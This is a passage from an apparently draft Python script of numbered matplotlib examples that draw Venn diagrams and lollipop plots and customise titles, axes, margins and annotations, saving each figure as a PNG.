'F'])])\r\nplt.savefig('PNG/#170_Basic_Venn_Diagram2.png')\r\nplt.show()\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #171 Basic Venn diagrams with 3 groups\r\n\r\n# Import the library\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib_venn import venn3\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\nvenn3(subsets = (10, 8, 22, 6,9,4,2))\r\n\r\nplt.savefig('PNG/#171_Basic_Venn_3 groups.png')\r\n\r\nplt.show()\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #172 Custom venn diagram\r\n\r\n# Import the library\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib_venn import venn3\r\n\r\n# plt.show()\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Custom text labels\r\nv=venn3(subsets = (10, 8, 22, 6,9,4,2), set_labels = ('Group A', 'Group B', 'Group C'))\r\nv.get_label_by_id('A').set_text('Favourite group!')\r\nplt.savefig('PNG/#172_custom_venn_diagram1.png')\r\nplt.show()\r\n\r\n# Line style\r\n# 'dashed', 'dotted',\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib_venn import venn3\r\nfrom matplotlib_venn import venn3_circles\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\nv=venn3(subsets = (10, 8, 22, 6,9,4,2), set_labels = ('Group A', 'Group B', 'Group C'))\r\nc=venn3_circles(subsets = (10, 8, 22, 6,9,4,2), linestyle='dashed', linewidth=1, color=\"grey\")\r\nplt.savefig('PNG/#172_custom_venn_diagram2.png')\r\nplt.show()\r\n\r\n\r\n# Change one group only\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib_venn import venn3\r\nfrom matplotlib_venn import venn3_circles\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\nv=venn3(subsets = (10, 8, 22, 6,9,4,2), set_labels = ('Group A', 'Group B', 'Group C'))\r\nc=venn3_circles(subsets = (10, 8, 22, 6,9,4,2), linestyle='dashed', linewidth=1, color=\"grey\")\r\nc[0].set_lw(8.0)\r\nc[0].set_ls('dotted')\r\nc[0].set_color('skyblue')\r\nplt.savefig('PNG/#172_custom_venn_diagram3.png')\r\nplt.show()\r\n\r\n# Color\r\n\r\nv.get_patch_by_id('100').set_alpha(1.0)\r\nv.get_patch_by_id('100').set_color('white')\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #173 Elaborated example\r\n# From the doc of the library\r\n#https://pypi.python.org/pypi/matplotlib-venn\r\n\r\n# libraries\r\nfrom matplotlib import pyplot as plt\r\nimport numpy as np\r\nfrom matplotlib_venn import venn3, venn3_circles\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Make a Basic Venn\r\nv = venn3(subsets=(1, 1, 1, 1, 1, 1, 1), set_labels = ('A', 'B', 'C'))\r\n\r\n# Custom it\r\nv.get_patch_by_id('100').set_alpha(1.0)\r\nv.get_patch_by_id('100').set_color('white')\r\nv.get_label_by_id('100').set_text('Unknown')\r\nv.get_label_by_id('A').set_text('Set \"A\"')\r\nc = venn3_circles(subsets=(1, 1, 1, 1, 1, 1, 1), linestyle='dashed')\r\nc[0].set_lw(1.0)\r\nc[0].set_ls('dotted')\r\n\r\n# Add title and annotation\r\nplt.title(\"Sample Venn diagram\")\r\nplt.annotate('Unknown set', xy=v.get_label_by_id('100').get_position() - np.array([0, 0.05]), xytext=(-70,-70),\r\n             ha='center', textcoords='offset points', bbox=dict(boxstyle='round,pad=0.5', fc='gray', alpha=0.1),\r\n             arrowprops=dict(arrowstyle='->', connectionstyle='arc3,rad=0.5',color='gray'))\r\nplt.savefig('PNG/#173_elaborated_Venn_diagram.png')\r\n# Show it\r\nplt.show()\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #174 Change Background color\r\n\r\nfrom matplotlib import pyplot as plt\r\nfrom matplotlib_venn import venn2\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\nv = venn2( (10, 20, 10), alpha = 1 )\r\nplt.gca().set_axis_bgcolor('skyblue')\r\nplt.gca().set_axis_on()\r\nplt.savefig('PNG/#174_Change_Background_color_venn.png')\r\nplt.show()\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #175 more customization\r\n# TODO\r\n\r\nfrom matplotlib import pyplot as plt\r\nfrom matplotlib_venn import venn3\r\nv = venn3([set([1,2,4]), set([2,3,4]), set([1,3,4])])\r\ncentral_label = v.get_label_by_id('111')\r\ncentral_label.set_visible(False)\r\nplt.gca().add_patch(plt.patches.Circle(central_label.get_position(), 0.1))\r\nplt.show()\r\n\r\n\r\nhttp://fouryears.eu/2012/10/13/venn-diagrams-in-python/\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t\t|\r\n | SERIE #180 -> #190  LOLIPOP PLOT\r\n |\t\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\nimport os\r\nos.chdir(\"/Users/y.holtz/Dropbox/Python_GG\")\r\ncwd = os.getcwd()\r\ncwd\r\n\r\n#stem(x, y, linefmt='b-', markerfmt='bo', basefmt='r-')\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #180 basic lolipop plot\r\n\r\n# library\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n# create data\r\nx=range(1,41)\r\nvalues=np.random.uniform(size=40)\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Create a pieplot\r\nplt.stem(x, values)\r\nplt.ylim(0, 1.2)\r\nplt.savefig('PNG/#180_Basic_lolipop_plot.png', dpi=96)\r\n#plt.show()\r\nplt.gca()\r\n\r\n# If no X provided, a sequence of numbers is provided\r\nplt.stem(values)\r\n#plt.show()\r\nplt.gca()\r\n# --> same figure\r\n\r\n# Another way to call stemplot\r\n(markerline, stemlines, baseline) = plt.stem(x, values)\r\nplt.setp(baseline, visible=False)\r\n#plt.show()\r\nplt.gca()\r\n\r\n\r\n# Note that the X axis can be categorical. In this case, it is often advised to reorder values and make the plot vertical:\r\n\r\n# Create a dataframe\r\nimport pandas as pd\r\ndf = pd.DataFrame({'group':map(chr, range(65, 85)), 'values':np.random.uniform(size=20) })\r\n\r\n# Reorder it following the values:\r\nordered_df = df.sort_values(by='values')\r\nmy_range=range(1,len(df.index)+1)\r\n\r\n# Make the plot\r\nplt.stem(ordered_df['values'])\r\nplt.xticks( my_range, ordered_df['group'])\r\nplt.savefig('PNG/#180_Basic_lolipop_plot2.png', dpi=96)\r\nplt.gca()\r\n\r\n# I personnaly prefer having a vertical version, but this is not possible through\r\n# the stem function. We thus have to use the hline function instead:\r\nplt.hlines(y=my_range, xmin=0, xmax=ordered_df['values'], color='skyblue')\r\nplt.plot(ordered_df['values'], my_range, \"D\")\r\nplt.yticks(my_range, ordered_df['group'])\r\nplt.savefig('PNG/#180_Basic_lolipop_plot3.png', dpi=96)\r\nplt.gca()\r\n\r\n        \r\n# Note that I always advise to use the seaborn style\r\n# See next page for more details\r\nimport seaborn as sns\r\nplt.hlines(y=my_range, xmin=0, xmax=ordered_df['values'], color='skyblue')\r\nplt.plot(ordered_df['values'], my_range, \"D\")\r\nplt.yticks(my_range, ordered_df['group'])\r\nplt.savefig('PNG/#180_Basic_lolipop_plot4.png', dpi=96)\r\nplt.gca()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  181 Custom lolipop plot\r\n\r\nA lolipop plot = vertical lines + markers + baseline. You can custom each component:\r\nIf you want to customize the default lolipop plot, it is better to call it like that.\r\n\r\n*** Customize markers\r\n\r\n# library\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n# create data\r\nimport numpy as np\r\nvalues=np.random.uniform(size=40)\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# plot with no marker\r\nplt.stem(values, markerfmt=' ')\r\nplt.savefig('PNG/#181_custom_lolliplot_1.png', dpi=96)\r\n#plt.show()\r\nplt.gca()\r\n\r\n# MARKER: change color and shape and size and edges\r\n(markers, stemlines, baseline) = plt.stem(values)\r\nplt.setp(markers, marker='D', markersize=10, markeredgecolor=\"orange\", markeredgewidth=2)\r\nplt.savefig('PNG/#181_custom_lolliplot_2.png', dpi=96)\r\n#plt.show()\r\nplt.gca()\r\n# see the related page to learn more\r\n\r\n\r\n*** Customize baseline\r\n\r\n# create data\r\nvalues=np.random.uniform(size=100)\r\n\r\n# position is customized with the bottom argument\r\nplt.stem(values, markerfmt=' ', bottom=0.5)\r\nplt.savefig('PNG/#181_custom_lolliplot_3.png', dpi=96)\r\n#plt.show()\r\nplt.gca()\r\n\r\n# hide it\r\n(markers, stemlines, baseline) = plt.stem(values)\r\nplt.setp(baseline, visible=False)\r\nplt.savefig('PNG/#181_custom_lolliplot_4.png', dpi=96)\r\nplt.gca()\r\n\r\n# note that this works as well\r\nplt.stem(values, basefmt=\" \")\r\nplt.gca()\r\n\r\n# custom it\r\n(markers, stemlines, baseline) = plt.stem(values)\r\nplt.setp(baseline, linestyle=\"-\", color=\"grey\", linewidth=6)\r\nplt.savefig('PNG/#181_custom_lolliplot_5.png', dpi=96)\r\n#plt.show()\r\nplt.gca()\r\n\r\n\r\n\r\n*** Customize vertical lines\r\n\r\n# cistpm ot it\r\n(markers, stemlines, baseline) = plt.stem(values)\r\nplt.setp(stemlines, linestyle=\"-\", color=\"olive\", linewidth=0.5 )\r\nplt.savefig('PNG/#181_custom_lolliplot_6.png', dpi=96)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 182 Vertical lolipop plot\r\n\r\n# libraries\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n# Create a dataframe\r\ndf = pd.DataFrame({'group':map(chr, range(65, 85)), 'values':np.random.uniform(size=20) })\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Reorder it following the values:\r\nordered_df = df.sort_values(by='values')\r\nmy_range=range(1,len(df.index)+1)\r\n        \r\n# The vertival plot is made using the hline function\r\n# I load the seaborn library only to benefit the nice looking feature\r\nimport seaborn as sns\r\nplt.hlines(y=my_range, xmin=0, xmax=ordered_df['values'], color='skyblue')\r\nplt.plot(ordered_df['values'], my_range, \"o\")\r\nplt.yticks(my_range, ordered_df['group'])\r\nplt.title(\"A vertical lolipop plot\", loc='left')\r\nplt.xlabel('Value of the variable')\r\nplt.ylabel('Group')\r\nplt.savefig('PNG/#182_vertical_lolipop_plot.png', dpi=96)\r\nplt.gca()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 183 Lolipop plot : Highlight a group\r\n\r\n# libraries\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\n# Create a dataframe\r\ndf = pd.DataFrame({'group':map(chr, range(65, 85)), 'values':np.random.uniform(size=20) })\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Reorder it following the values:\r\nordered_df = df.sort_values(by='values')\r\nmy_range=range(1,len(df.index)+1)\r\n\r\n# Create a color if the group is \"B\"\r\nmy_color=np.where(ordered_df ['group']=='B', 'orange', 'skyblue')\r\nmy_size=np.where(ordered_df ['group']=='B', 70, 30)\r\n\r\n# The vertival plot is made using the hline function\r\n# I load the seaborn library only to benefit the nice looking feature\r\nimport seaborn as sns\r\nplt.hlines(y=my_range, xmin=0, xmax=ordered_df['values'], color=my_color, alpha=0.4)\r\nplt.scatter(ordered_df['values'], my_range, color=my_color, s=my_size, alpha=1)\r\nplt.yticks(my_range, ordered_df['group'])\r\nplt.title(\"What about the B group?\", loc='left')\r\nplt.xlabel('Value of the variable')\r\nplt.ylabel('Group')\r\nplt.savefig('PNG/#183_highlight_a_group_in_lolipop_plot.png', dpi=96)\r\nplt.gca()\r\n\r\n \r\n \r\n \r\n \r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 184 Lolipop plot with 2 groups\r\n\r\n\r\n# libraries\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\n# Create a dataframe\r\nvalue1=np.random.uniform(size=20)\r\nvalue2=value1+np.random.uniform(size=20)/4\r\ndf = pd.DataFrame({'group':map(chr, range(65, 85)), 'value1':value1 , 'value2':value2 })\r\ndf\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Reorder it following the values of the first value:\r\nordered_df = df.sort_values(by='value1')\r\nmy_range=range(1,len(df.index)+1)\r\n\r\n# The vertival plot is made using the hline function\r\n# I load the seaborn library only to benefit the nice looking feature\r\nimport seaborn as sns\r\nplt.hlines(y=my_range, xmin=ordered_df['value1'], xmax=ordered_df['value2'], color='grey', alpha=0.4)\r\nplt.scatter(ordered_df['value1'], my_range, color='skyblue', alpha=1, label='value1')\r\nplt.scatter(ordered_df['value2'], my_range, color='green', alpha=0.4 , label='value2')\r\nplt.legend()\r\nplt.yticks(my_range, ordered_df['group'])\r\nplt.title(\"Comparison of the value 1 and the value 2\", loc='left')\r\nplt.xlabel('Value of the variables')\r\nplt.ylabel('Group')\r\nplt.savefig('PNG/#184_lolipop_plot_with_2_groups.png', dpi=96)\r\nplt.gca()\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 185 Lolipop plot with seaborn style\r\n\r\n# libraries\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport seaborn as sns\r\n\r\n# Data\r\nx = np.linspace(0, 2*np.pi, 100)\r\ny = np.sin(x) + np.random.uniform(size=len(x)) - 0.2\r\n\r\n\r\n# Create a color if the group is \"B\"\r\nmy_color=np.where(y>=0, 'orange', 'skyblue')\r\n\r\n# The vertival plot is made using the hline function\r\n# I load the seaborn library only to benefit the nice looking feature\r\nimport seaborn as sns\r\nplt.vlines(x=x, ymin=0, ymax=y, color=my_color, alpha=0.4)\r\nplt.scatter(x, y, color=my_color, s=1, alpha=1)\r\nplt.title(\"Evolution of the value of ...\", loc='left')\r\nplt.xlabel('Value of the variable')\r\nplt.ylabel('Group')\r\nplt.savefig('PNG/#185_lolipop_plot_with_conditional_color.png', dpi=96)\r\nplt.gca()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #190 -> #200  ABOUT MATPLOTLIB\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n\r\nimport os\r\nos.chdir(\"/Users/y.holtz/Dropbox/Python_GG\")\r\ncwd = os.getcwd()\r\ncwd\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #190 CUSTOM THE TITLE OF YOUR PLOT\r\n\r\n# Let's consider a basic plot, and add a basic title.\r\n\r\n# libraries\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n \r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# An histogram 2D\r\nx = np.random.normal(size=50000)\r\ny = x * 3 + np.random.normal(size=50000)\r\nplt.hist2d(x, y, bins=(50, 50), cmap=plt.cm.Reds)\r\n\r\n# Add a basic title\r\n#plt.title(\"A 2D histogram\")\r\n#plt.savefig('PNG/#190_Custom_title1.png', dpi=96)\r\n\r\n# Control position. Available = \u2018center\u2019, \u2018left\u2019, \u2018right\u2019\r\n#plt.title(\"A 2D histogram\", loc='left')\r\n#plt.savefig('PNG/#190_Custom_title2.png', dpi=96)\r\n\r\n# Then you can adjust with horizontalalignment ('center', 'right', 'left') and \r\n# verticalalignment ('top', 'bottom', 'center', 'baseline')\r\n#plt.title(\"A 2D histogram\", loc='left', horizontalalignment='center', verticalalignment='center')\r\n#plt.savefig('PNG/#190_Custom_title3.png', dpi=96)\r\n\r\n# Control the font\r\n#plt.title(\"A 2D histogram\", fontsize=20,  fontweight=0, color='purple', loc='left', style='italic' )\r\n#plt.savefig('PNG/#190_Custom_title3bis.png', dpi=96)\r\n# to write in bold\r\n#plt.title( \"$\\mathbf{write in bold}$\" , loc=\"right\")\r\n#plt.savefig('PNG/#190_Custom_title4.png', dpi=96)\r\n         \r\n# Display the title on several lines\r\n#plt.title('A 2D histogram\\nwith the Reds palette', loc='left')\r\n#plt.savefig('PNG/#190_Custom_title5.png', dpi=96)\r\n\r\n# Several titles\r\n#plt.title(\"A 2D histogram\", loc='left', fontsize=18)\r\n#plt.title(\"made in Python\", loc='right', fontsize=13, color='grey', style='italic')\r\n#plt.savefig('PNG/#190_Custom_title6.png', dpi=96)\r\n\r\n# Mathematic equation. See: https://matplotlib.org/users/mathtext.html\r\n#plt.title(\"$\\mathcal{A}\\mathrm{sin}(2 \\omega t)$\", fontsize=22)\r\n#plt.savefig('PNG/#190_Custom_title7.png', dpi=96)\r\n\r\n# Add a suptitle. Note the use of y=1.02 to avoid overlap\r\n#plt.suptitle(\"A 2D histogram\\n\", fontsize=18, y=1.02)\r\n#plt.title(\"Realized by the Python Graph Gallery\", color=\"grey\", style='italic')\r\n#plt.savefig('PNG/#190_Custom_title8.png', dpi=96, bbox_inches='tight')\r\n\r\n# Space between title and plot\r\nplt.title(\"A 2D histogram\", y=1.05)\r\nplt.savefig('PNG/#190_Custom_title9.png', dpi=96, bbox_inches='tight')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #191 CUSTOM THE AXIS OF YOUR PLOT\r\n\r\n\r\n# Basic plot\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\nheight = [3, 12, 5, 18, 45]\r\nbars = ('A', 'B', 'C', 'D', 'E')\r\ny_pos = np.arange(len(bars))\r\nplt.bar(y_pos, height, color=(0.2, 0.4, 0.6, 0.6))\r\n\r\n\r\n# Axis title\r\n#plt.xlabel('title of the xlabel', fontweight='bold', color = 'orange', fontsize='17', horizontalalignment='center')\r\n#plt.savefig('PNG/#191_Custom_axis1.png', dpi=96)\r\n\r\n# Axis ticks\r\n#plt.tick_params(axis='x', colors='red', direction='out', length=13, width=3)\r\n#plt.savefig('PNG/#191_Custom_axis2.png', dpi=96)\r\n# You can remove them:\r\n#plt.tick_params(bottom='off')\r\n#plt.savefig('PNG/#191_Custom_axis3.png', dpi=96)\r\n \r\n    \r\n# Axis labels. First argument must be the position. Second is the labels.\r\n#plt.xticks(y_pos, bars, color='orange', rotation=45, fontweight='bold', fontsize='17', horizontalalignment='right')\r\n#plt.savefig('PNG/#191_Custom_axis4.png', dpi=96)\r\n# remove them\r\n#plt.tick_params(labelbottom='off')\r\n#plt.savefig('PNG/#191_Custom_axis5.png', dpi=96)\r\n\r\n# Axis limits\r\n#plt.xlim(0,20)\r\n#plt.savefig('PNG/#191_Custom_axis6.png', dpi=96)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #192 MARGINS\r\n\r\n# Let's consider a basic barplot.\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\ny_pos = np.arange(len(bars))\r\nbars = ('A','B','C','D','E')\r\nheight = [3, 12, 5, 18, 45]\r\nplt.bar(y_pos, height)\r\n\r\n# If we have long labels, we cannot see it properly\r\nnames = (\"very long group name 1\",\"very long group name 2\",\"very long group name 3\",\"very long group name 4\",\"very long group name 5\")\r\nplt.xticks(y_pos, names, rotation=90)\r\nplt.savefig('PNG/#192_increase_margin1.png')\r\n\r\n# Thus we have to give more margin:\r\nplt.subplots_adjust(bottom=0.4)\r\nplt.savefig('PNG/#192_increase_margin2.png')\r\n\r\n# It's the same concept if you need more space for your titles\r\nimport matplotlib.pyplot as plt\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\nbars = ('A','B','C','D','E')\r\nheight = [3, 12, 5, 18, 45]\r\ny_pos = np.arange(len(bars))\r\nplt.bar(y_pos, height)\r\nplt.title(\"This is\\na very very\\nloooooong\\ntitle!\")\r\nplt.savefig('PNG/#192_increase_margin3.png')\r\nplt.subplots_adjust(top=0.7)\r\nplt.savefig('PNG/#192_increase_margin4.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #193 ANNOTATE YOUR CHART\r\n\r\n# See more here\r\n#https://matplotlib.org/users/annotations.html\r\n\r\n# Library\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Basic chart\r\ndf=pd.DataFrame({'x': range(1,101), 'y': np.random.randn(100)*15+range(1,101) })\r\nplt.plot( 'x', 'y', data=df, linestyle='none', marker='o')\r\n\r\n# Annotate with text + Arrow\r\nplt.annotate(\r\n        # Label and coordinate\r\n        'This point is interesting!', xy=(25, 50), xytext=(0, 80), \r\n        \r\n        # Custom arrow\r\n        arrowprops=dict(facecolor='black', shrink=0.05) \r\n        #)\r\n#plt.savefig('PNG/#193_annotate1.png', dpi=96)\r\n\r\n\r\n\r\n# Annotate with a square / Rectangle\r\nimport matplotlib.patches as patches\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\ndf=pd.DataFrame({'x': range(1,101), 'y': np.random.randn(100)*15+range(1,101) })\r\nmy_dpi=96\r\nfig1 = plt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\nax1 = fig1.add_subplot(111)\r\nax1.plot( 'x', 'y', data=df, linestyle='none', marker='o')\r\nax1.add_patch(\r\n    patches.Rectangle(\r\n        (20, 25),   # (x,y)\r\n        50,         # width\r\n        50,         # height\r\n        # You can add rotation as well with 'angle'\r\n        alpha=0.3, facecolor=\"red\", edgecolor=\"black\", linewidth=3,  linestyle='solid'\r\n    )\r\n)\r\nfig1.savefig('PNG/#193_annotate2.png', dpi=96)\r\n\r\n\r\n# Annotate with a circle\r\nimport matplotlib.patches as patches\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\ndf=pd.DataFrame({'x': range(1,101), 'y': np.random.randn(100)*15+range(1,101) })\r\nmy_dpi=96\r\nfig1 = plt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\nax1 = fig1.add_subplot(111)\r\nax1.plot( 'x', 'y', data=df, linestyle='none', marker='o')\r\nax1.add_patch(\r\n    patches.Circle(\r\n        (40, 35),   # (x,y)\r\n        30,         # radiuc\r\n        alpha=0.3, facecolor=\"green\", edgecolor=\"black\", linewidth=1,  linestyle='solid'\r\n    )\r\n)\r\nfig1.savefig('PNG/#193_annotate3.png', dpi=96)\r\n\r\n\r\n\r\n# Annotate with a segment \r\n# Library\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Basic chart\r\ndf=pd.DataFrame({'x': range(1,101), 'y': np.random.randn(100)*15+range(1,101) })\r\nplt.plot( 'x', 'y', data=df, linestyle='none', marker='o')\r\nplt.plot([80, 40], [30, 90], color=\"skyblue\", lw=5, linestyle='solid', label=\"_not in legend\")\r\nplt.savefig('PNG/#193_annotate4.png', dpi=96)\r\nplt.show()\r\n\r\n\r\n# vline and hline\r\n# Library\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\ndf=pd.DataFrame({'x': range(1,101), 'y': np.random.randn(100)*15+range(1,101) })\r\nplt.plot( 'x', 'y', data=df, linestyle='none', marker='o')\r\nplt.axvline(40, color='r')\r\nplt.axhline(40, color='green')\r\nplt.savefig('PNG/#193_annotate5.png', dpi=96)\r\n\r\n\r\n# Math equation. See https://matplotlib.org/users/mathtext.html\r\n# Library\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\ndf=pd.DataFrame({'x': range(1,101), 'y': np.random.randn(100)*15+range(1,101) })\r\nplt.plot( 'x', 'y', data=df, linestyle='none', marker='o')\r\nplt.text(40, 00, r'equation: $\\sum_{i=0}^\\infty x_i$', fontsize=20)\r\nplt.savefig('PNG/#193_annotate6.png', dpi=96)\r\n\r\n# Ellipse\r\n# Annotate with a circle\r\nimport matplotlib.patches as patches\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\ndf=pd.DataFrame({'x': 